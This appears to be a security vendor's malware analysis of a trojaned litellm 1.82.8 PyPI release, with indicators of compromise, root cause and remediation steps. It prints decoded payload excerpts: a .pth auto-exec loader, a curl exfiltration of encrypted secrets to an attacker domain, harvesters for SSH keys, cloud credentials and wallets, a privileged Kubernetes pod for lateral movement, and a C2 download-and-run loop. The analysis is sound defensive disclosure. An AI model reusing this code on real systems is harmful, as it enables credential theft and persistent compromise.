--- title: "Malicious litellm 1.82.8: Credential Theft and Persistent Backdoor" description: "Analysis of compromised litellm 1.82.8 on PyPI: a .pth file triggers credential theft, AWS/K8s secret exfiltration, and persistent C2 backdoor on install." url: "https://safedep.io/blog/malicious-litellm-1-82-8-analysis" author: "SafeDep Team" published: "2026-03-24" --- # Malicious litellm 1.82.8: Credential Theft and Persistent Backdoor ## TL;DR Two versions of `litellm` on PyPI were compromised with credential-stealing payloads. Version 1.82.7 embeds the payload in `litellm/proxy/proxy_server.py`, triggering on import. Version 1.82.8 escalates by adding a malicious `.pth` file that executes automatically when the Python interpreter starts, no `import` required. Both versions collect SSH keys, cloud credentials, Kubernetes secrets, crypto wallets, and environment variables, encrypt them with a hardcoded RSA public key, and exfiltrate the archive to an attacker-controlled server. On Kubernetes clusters, the payload creates privileged pods on every node to establish persistence. On all systems, it installs a systemd service that polls a C2 server for arbitrary binaries to execute. **Impact:** - Exfiltrates all environment variables, SSH keys, and cloud provider credentials (AWS, GCP, Azure) - Uses stolen AWS credentials to dump Secrets Manager and SSM Parameter Store values - Dumps all Kubernetes secrets across every namespace - Deploys privileged pods to every K8s node for lateral movement and persistence - Installs a persistent C2 polling backdoor disguised as "System Telemetry Service" - Targets cryptocurrency wallet files (Bitcoin, Ethereum, Solana, Cardano, and others) **Indicators of Compromise (IoC):** - Packages: `litellm==1.82.7` (payload in `proxy/proxy_server.py`), `litellm==1.82.8` (wheel SHA256: `d2a0d5f564628773b6af7b9c11f6b86531a875bd2d186d7081ab62748a800ebb`) - Malicious file: `litellm_init.pth` (34,628 bytes, SHA256 from RECORD: `ceNa7wMJnNHy1kRnNCcwJaFjWX3pORLfMh7xGL8TUjg`) - Exfiltration endpoint: `hxxps://models[.]litellm[.]cloud/` - C2 polling URL: `hxxps://checkmarx[.]zone/raw` - Persistence path: `~/.config/sysmon/sysmon.py` - Systemd unit: `~/.config/systemd/user/sysmon.service` - K8s pods: `node-setup-*` in `kube-system` namespace ## Analysis ### Package Overview [litellm](https://github.com/BerriAI/litellm) is a widely used Python library by BerriAI that provides a unified interface to 100+ LLM providers. On March 24, 2026, [a security advisory](https://github.com/BerriAI/litellm/issues/24512) was filed reporting that version 1.82.8 published to PyPI contained a malicious `.pth` file not present in the source repository. [Rami McCarthy's post on X](https://x.com/ramimacisabird/status/2036426565102227803) amplified the signal and brought it to our attention, prompting this analysis. This compromise is likely a downstream consequence of the [Trivy supply chain attack](https://safedep.io/blog/trivy-teampcp-supply-chain-compromise). LiteLLM's CI/CD pipeline ([`ci_cd/security_scans.sh`](https://github.com/BerriAI/litellm/blob/9343aeefca37aa49a6ea54397d7615adae5c72c9/ci_cd/security_scans.sh#L11)) installed Trivy from the apt repository without version pinning: ```bash # ci_cd/security_scans.sh — no version pin on trivy wget -qO - https://aquasecurity.github.io/trivy-repo/deb/public.key | sudo apt-key add - echo "deb https://aquasecurity.github.io/trivy-repo/deb $(lsb_release -sc) main" \ | sudo tee -a /etc/apt/sources.list.d/trivy.list sudo apt-get update sudo apt-get install trivy # installs whatever the repo serves ``` When the poisoned Trivy apt repository served a compromised binary, this script installed it with full CI runner privileges. The malicious Trivy binary exfiltrated runner secrets, including `PYPI_PUBLISH_PASSWORD`. The attacker then used the stolen PyPI credentials to publish malicious versions directly. The litellm maintainer [confirmed the Trivy connection on Hacker News](https://news.ycombinator.com/item?id=47502858). Neither version corresponds to an official GitHub release (releases only go up to `v1.82.6.dev1`). Community analysis in the [GitHub advisory thread](https://github.com/BerriAI/litellm/issues/24512) confirmed two compromised versions with different attack vectors: | Version | Method | Trigger | | ------- | ---------------------------------------------------------- | ------------------------------------- | | 1.82.7 | Payload embedded in `litellm/proxy/proxy_server.py` | `import litellm.proxy` | | 1.82.8 | `.pth` file added, payload also in `proxy/proxy_server.py` | Any Python startup (no import needed) | Version 1.82.8 is an escalation: the `.pth` file ensures execution even if the proxy module is never imported. The exfiltration domain `models.litellm.cloud` was registered on 2026-03-23, one day before the malicious packages appeared on PyPI. This analysis focuses on 1.82.8 as the more dangerous variant. The wheel's `RECORD` file confirms the injected file: ``` litellm_init.pth,sha256=ceNa7wMJnNHy1kRnNCcwJaFjWX3pORLfMh7xGL8TUjg,34628 ``` The wheel contains 2,598 files across three top-level entries: the legitimate `litellm/` package directory, the standard `litellm-1.82.8.dist-info/`, and the injected `litellm_init.pth`. The package metadata (author, homepage, dependencies) is identical to the legitimate litellm project. This is not a typosquat. The attacker used stolen PyPI credentials to publish a trojaned version of the real package. ### Technical Analysis > **Warning:** All analysis below was conducted inside an isolated Docker container used as a filesystem sandbox. Do not execute any of the malicious payloads on a host system. Download and extract only; never `pip install` the compromised wheel. Set up an isolated directory for analysis: ```bash mkdir -p /tmp/malware-analysis-litellm && cd /tmp/malware-analysis-litellm ``` Download the wheel without installing it: ```bash curl -sL -o litellm-1.82.8-py3-none-any.whl \ "https://files.pythonhosted.org/packages/fd/78/2167536f8859e655b28adf09ee7f4cd876745a933ba2be26853557775412/litellm-1.82.8-py3-none-any.whl" ``` Verify the SHA256 hash: ```bash shasum -a 256 litellm-1.82.8-py3-none-any.whl # expected: d2a0d5f564628773b6af7b9c11f6b86531a875bd2d186d7081ab62748a800ebb ``` List `.pth` files in the wheel (legitimate wheels should not contain any): ```bash unzip -l litellm-1.82.8-py3-none-any.whl | grep '\.pth$' # 34628 03-24-2026 00:00 litellm_init.pth ``` Extract the malicious file without installing the package: ```bash mkdir -p extracted && cd extracted unzip -o ../litellm-1.82.8-py3-none-any.whl "litellm_init.pth" "litellm-1.82.8.dist-info/*" ``` Decode each base64 layer statically (never execute the payloads): ```python # decode_stages.py import base64, re, os os.makedirs("decoded", exist_ok=True) # Stage 0 -> Stage 1: extract base64 from the .pth one-liner with open("litellm_init.pth") as f: pth_content = f.read() b64_match = re.search(r"b64decode\('([^']+)'\)", pth_content) stage1 = base64.b64decode(b64_match.group(1)).decode() with open("decoded/stage1_orchestrator.py", "w") as f: f.write(stage1) print(f"Stage 1 (orchestrator): {len(stage1)} bytes -> decoded/stage1_orchestrator.py") # Stage 1 -> Stage 2: extract B64_SCRIPT from orchestrator b64_script = re.search(r'B64_SCRIPT\s*=\s*"([^"]+)"', stage1).group(1) stage2 = base64.b64decode(b64_script).decode() with open("decoded/stage2_collector.py", "w") as f: f.write(stage2) print(f"Stage 2 (collector): {len(stage2)} bytes -> decoded/stage2_collector.py") # Stage 2 -> Stage 3: extract PERSIST_B64 from collector persist_b64 = re.search(r"PERSIST_B64='([^']+)'", stage2).group(1) stage3 = base64.b64decode(persist_b64).decode() with open("decoded/stage3_persistence.py", "w") as f: f.write(stage3) print(f"Stage 3 (persistence): {len(stage3)} bytes -> decoded/stage3_persistence.py") ``` Expected output: ``` Stage 1 (orchestrator): 25844 bytes -> decoded/stage1_orchestrator.py Stage 2 (collector): 17281 bytes -> decoded/stage2_collector.py Stage 3 (persistence): 1125 bytes -> decoded/stage3_persistence.py ``` All code snippets below are taken from these decoded files. The following sections walk through each stage. ### Execution Trigger `.pth` (path configuration) files exist so that Python's `site` module can extend `sys.path` at interpreter startup. The [site module documentation](https://docs.python.org/3/library/site.html) specifies that any line beginning with `import` is passed to `exec()`, allowing initialization code to run automatically. This mechanism is intended for configuring specialized environments or loading third-party hook functionality (see also [PEP 648](https://peps.python.org/pep-0648/)), but it makes `.pth` files an effective attack vector: the payload runs every time Python starts, not just when `litellm` is imported. The `.pth` file contains a single line: ```python # litellm_init.pth import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('aW1wb3J0IHN1YnByb2Nlc3MK...'))"]) ``` This spawns a detached subprocess that decodes and executes a base64-encoded Stage 1 payload. The use of `Popen` (not `run` or `call`) ensures the malicious code runs in the background without blocking the interpreter. ### Stage 1: Orchestrator The decoded Stage 1 script (25,844 bytes) manages the overall attack. It contains three key components: a hardcoded 4096-bit RSA public key, a second base64-encoded blob (`B64_SCRIPT`) containing the collection logic, and the encryption/exfiltration routine. ```python # Stage 1 (decoded from litellm_init.pth) PUB_KEY_CONTENT = """-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvahaZDo8mucujrT15ry+ 08qNLwm3kxzFSMj84M16lmIEeQA8u1X8DGK0EmNg7m3J6C3KzFeIzvz0UTgSq6cV pQWpiuQa+UjTkWmC8RDDXO8G/opLGQnuQVvgsZWuT31j/Qop6rtocYsayGzCFrMV ... -----END PUBLIC KEY-----""" B64_SCRIPT = "aW1wb3J0IG9zLHN5cyxzdGF0LHN1YnByb2Nlc3MsZ2xvYgoK..." ``` After executing the collector and capturing its output, the orchestrator encrypts the stolen data using a hybrid encryption scheme: ```python # Stage 1: Encryption and exfiltration subprocess.run(["openssl", "rand", "-out", sk, "32"], check=True) subprocess.run(["openssl", "enc", "-aes-256-cbc", "-in", collected, "-out", ef, "-pass", f"file:{sk}", "-pbkdf2"], check=True, stderr=subprocess.DEVNULL) subprocess.run(["openssl", "pkeyutl", "-encrypt", "-pubin", "-inkey", pk, "-in", sk, "-out", ek, "-pkeyopt", "rsa_padding_mode:oaep"], check=True, stderr=subprocess.DEVNULL) subprocess.run(["tar", "-czf", bn, "-C", d, "payload.enc", "session.key.enc"], check=True) subprocess.run([ "curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", "-X", "POST", "https://models.litellm.cloud/", "-H", "Content-Type: application/octet-stream", "-H", "X-Filename: tpcp.tar.gz", "--data-binary", f"@{bn}" ], check=True, stderr=subprocess.DEVNULL) ``` A random 32-byte AES session key encrypts the collected data. The session key itself is encrypted with the attacker's RSA public key. Both are packed into `tpcp.tar.gz` and POSTed to `hxxps://models[.]litellm[.]cloud/`. The domain `litellm.cloud` (not `litellm.ai`, the official domain) is attacker-controlled infrastructure chosen to blend in with legitimate litellm services. ### Stage 2: The Collector The second base64 layer (17,281 bytes) is a comprehensive credential harvester. It defines three core utility functions and then systematically raids every credential store on the system. ```python # Stage 2: Core utilities def emit(path): try: st=os.stat(path) if not stat.S_ISREG(st.st_mode):return with open(path,'rb') as fh:data=fh.read() sys.stdout.buffer.write(('\n=== '+path+' ===\n').encode()) sys.stdout.buffer.write(data) sys.stdout.buffer.write(b'\n') except OSError:pass def run(cmd): try: out=subprocess.check_output(cmd,shell=True, stderr=subprocess.DEVNULL,timeout=10) if out: sys.stdout.buffer.write(('\n=== CMD: '+cmd+' ===\n').encode()) sys.stdout.buffer.write(out) except Exception:pass ``` The collector outputs everything to stdout, which Stage 1 captures into a file for encryption. The targeted credential categories: **System reconnaissance and environment:** ```python # Stage 2: System info collection run('hostname; pwd; whoami; uname -a; ip addr 2>/dev/null || ifconfig 2>/dev/null; ip route 2>/dev/null') run('printenv') ``` **SSH keys (all key types, all users):** ```python # Stage 2: SSH key theft for h in homes+['/root']: for f in ['/.ssh/id_rsa','/.ssh/id_ed25519','/.ssh/id_ecdsa','/.ssh/id_dsa', '/.ssh/authorized_keys','/.ssh/known_hosts','/.ssh/config']: emit(h+f) walk([h+'/.ssh'],2,lambda fp,fn:True) ``` **Cloud credentials with active exploitation:** The collector doesn't just read credential files. When it finds AWS credentials, it implements a full AWS SigV4 signing routine in pure Python (no boto3 dependency) and actively dumps Secrets Manager and SSM Parameter Store: ```python # Stage 2: AWS Secrets Manager dump using stolen credentials AK=os.environ.get('AWS_ACCESS_KEY_ID','') SK=os.environ.get('AWS_SECRET_ACCESS_KEY','') # ... sm=aws_req('POST','secretsmanager',REG,'/','Action=ListSecrets', {'Content-Type':'application/x-amz-json-1.1', 'X-Amz-Target':'secretsmanager.ListSecrets'},AK,SK,ST) ``` It also queries EC2 IMDS v2 for role credentials, escalating from static IAM keys to temporary role credentials when running on EC2. **Cryptocurrency wallets (broad targeting):** ```python # Stage 2: Crypto wallet theft for h in homes+['/root']: for coin in ['/.bitcoin/bitcoin.conf','/.litecoin/litecoin.conf', '/.dogecoin/dogecoin.conf','/.zcash/zcash.conf', '/.dashcore/dash.conf','/.ripple/rippled.cfg', '/.bitmonero/bitmonero.conf']: emit(h+coin) walk([h+'/.bitcoin'],2, lambda fp,fn:fn.startswith('wallet') and fn.endswith('.dat')) walk([h+'/.ethereum/keystore'],1,lambda fp,fn:True) walk([h+'/.config/solana'],3,lambda fp,fn:True) ``` Solana gets special treatment with targeted searches for validator keypairs, vote account keys, and Anchor project deploy directories, suggesting the attacker anticipated litellm running on Solana validator infrastructure or crypto-adjacent developer machines. ### Kubernetes Lateral Movement The most aggressive behavior targets Kubernetes clusters. After dumping secrets from all namespaces, the collector creates a privileged pod on every node in the cluster: ```python # Stage 2: K8s lateral movement via privileged pod creation nodes=k8s_get('/api/v1/nodes') for node in nodes.get('items',[]): node_name=node.get('metadata',{}).get('name','') drop_cmd=( f'mkdir -p /host/root/.config/sysmon /host/root/.config/systemd/user && ' f'echo {PERSIST_B64}|base64 -d > /host/root/.config/sysmon/sysmon.py && ' f'chmod 700 /host/root/.config/sysmon/sysmon.py && ' # ... installs systemd service on the host via chroot ... ) pod_manifest={ 'apiVersion':'v1','kind':'Pod', 'metadata':{'name':f'node-setup-{node_name[:35]}', 'namespace':'kube-system'}, 'spec':{ 'nodeName':node_name, 'hostPID':True,'hostNetwork':True, 'tolerations':[{'operator':'Exists'}], 'containers':[{ 'name':'setup', 'image':'alpine:latest', 'command':['sh','-c',drop_cmd], 'securityContext':{'privileged':True}, 'volumeMounts':[{'name':'host','mountPath':'/host'}] }], 'volumes':[{'name':'host','hostPath':{'path':'/'}}], 'restartPolicy':'Never' } } k8s_post('/api/v1/namespaces/kube-system/pods',pod_manifest) ``` Each pod mounts the host root filesystem, runs as privileged with `hostPID` and `hostNetwork`, and uses `chroot /host` to install the persistence script and systemd unit directly onto the node. The pods are named `node-setup-*` in the `kube-system` namespace to avoid suspicion. The toleration `{'operator': 'Exists'}` ensures pods schedule on tainted nodes, including control plane nodes. ### Stage 3: Persistent C2 Backdoor The persistence mechanism, installed both locally and on K8s nodes, is a polling loop disguised as "System Telemetry Service": ```python # Stage 3: ~/.config/sysmon/sysmon.py C_URL = "https://checkmarx.zone/raw" TARGET = "/tmp/pglog" STATE = "/tmp/.pg_state" if __name__ == "__main__": time.sleep(300) while True: l = g() # fetches URL from C2 prev = "" if os.path.exists(STATE): try: with open(STATE, "r") as f: prev = f.read().strip() except: pass if l and l != prev and "youtube.com" not in l: e(l) # downloads and executes the binary time.sleep(3000) ``` The script polls `hxxps://checkmarx[.]zone/raw` every 50 minutes for a URL. If the URL changes and is not a YouTube link (likely a dead-man's switch or testing artifact), it downloads the binary to `/tmp/pglog`, marks it executable, and runs it. The state file at `/tmp/.pg_state` prevents re-execution of the same payload. The domain `checkmarx.zone` impersonates [Checkmarx](https://checkmarx.com/), the application security company. The persistence is registered as a systemd user service with `StartLimitIntervalSec=0` (ensuring systemd never stops restarting it) and suppressed output via `StandardOutput=null`. ### Obfuscation The attack uses triple base64 encoding as its primary obfuscation. The `.pth` file contains a base64 blob that decodes to Stage 1, which contains `B64_SCRIPT` (another base64 blob) that decodes to Stage 2, which contains `PERSIST_B64` (a third base64 blob) that decodes to Stage 3. No hex encoding, no string rotation, no minification beyond compressed whitespace. The obfuscation is functional (fits the payload into a `.pth` one-liner) rather than evasive. The 34,628-byte `.pth` file is notably large for what should be a simple path configuration file. ## Conclusion This is likely a second-order supply chain compromise: the [Trivy attack](https://safedep.io/blog/trivy-teampcp-supply-chain-compromise) appears to have poisoned litellm's CI/CD pipeline, leading to stolen PyPI credentials and a trojaned package publish. The attacker did not typosquat or create a lookalike; they used legitimate publishing credentials to push a compromised version of the real package. The payload is comprehensive: it steals credentials from every major cloud provider, exploits Kubernetes service account tokens for lateral movement across cluster nodes, and establishes a persistent C2 channel that can deliver arbitrary follow-on payloads. If you installed `litellm==1.82.7` or `litellm==1.82.8`, treat every credential on that system as compromised. Rotate all API keys, SSH keys, cloud provider credentials, and database passwords. On Kubernetes clusters, audit for `node-setup-*` pods in `kube-system` and check for `sysmon.service` systemd units on every node. Check for the persistence files at `~/.config/sysmon/sysmon.py` and `~/.config/systemd/user/sysmon.service`. To proactively detect compromised packages before they reach your environment, run [`vet`](https://github.com/safedep/vet) against your dependency lockfiles. For continuous monitoring of your dependencies, [SafeDep Cloud](https://safedep.io) provides real-time detection of malicious packages across your organization's repositories. ## References - [Rami McCarthy's tweet flagging the compromise](https://x.com/ramimacisabird/status/2036426565102227803) - [GitHub Advisory: BerriAI/litellm#24512](https://github.com/BerriAI/litellm/issues/24512) - [LiteLLM maintainer confirmation on Hacker News](https://news.ycombinator.com/item?id=47502858) - [Python .pth file documentation](https://docs.python.org/3/library/site.html) - [PyPI: litellm](https://pypi.org/project/litellm/)